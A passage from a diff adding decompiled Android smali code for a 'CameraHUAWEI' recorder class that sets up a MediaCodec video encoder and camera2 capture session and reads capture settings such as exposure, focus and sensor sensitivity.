iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "i-frame-interval"
|
||||
|
||||
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 87
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "max-input-size"
|
||||
|
||||
invoke-virtual {p1, v3, v5}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 88
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%s"
|
||||
|
||||
new-array v6, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v7, v5
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 89
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%d"
|
||||
|
||||
new-array v6, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v7, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
aput-object v1, v6, v5
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 90
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=FrameRate:%d"
|
||||
|
||||
new-array v3, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v6, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
aput-object v0, v3, v5
|
||||
|
||||
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 91
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 92
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
|
||||
|
||||
.line 93
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
|
||||
.line 94
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
new-instance v0, Ljava/util/ArrayList;
|
||||
|
||||
invoke-direct {v0, v8}, Ljava/util/ArrayList;-><init>(I)V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
.line 95
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
.line 96
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v4}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
.line 97
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 99
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,661 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "CameraHUAWEI.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEI$2;->onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI$2;)V
|
||||
.locals 0
|
||||
|
||||
.line 171
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public run()V
|
||||
.locals 3
|
||||
|
||||
.line 174
|
||||
:goto_0
|
||||
sget-boolean v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->Starting:Z
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 176
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEI;Z)V
|
||||
|
||||
const-wide/16 v0, 0x1
|
||||
|
||||
.line 177
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->sleep(J)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 179
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 183
|
||||
:cond_0
|
||||
:try_start_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Landroid/graphics/Rect;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->rect:Landroid/graphics/Rect;
|
||||
|
||||
.line 184
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->aec:I
|
||||
|
||||
.line 185
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cem:I
|
||||
|
||||
.line 186
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, [Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
.line 187
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
|
||||
|
||||
.line 188
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->caft:I
|
||||
|
||||
.line 189
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Float;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Float;->floatValue()F
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->lfd:F
|
||||
|
||||
.line 190
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->caem:I
|
||||
|
||||
.line 191
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->ss:I
|
||||
|
||||
.line 192
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Long;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->sfd:Ljava/lang/Long;
|
||||
|
||||
.line 193
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Long;
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->set:Ljava/lang/Long;
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception v0
|
||||
|
||||
.line 195
|
||||
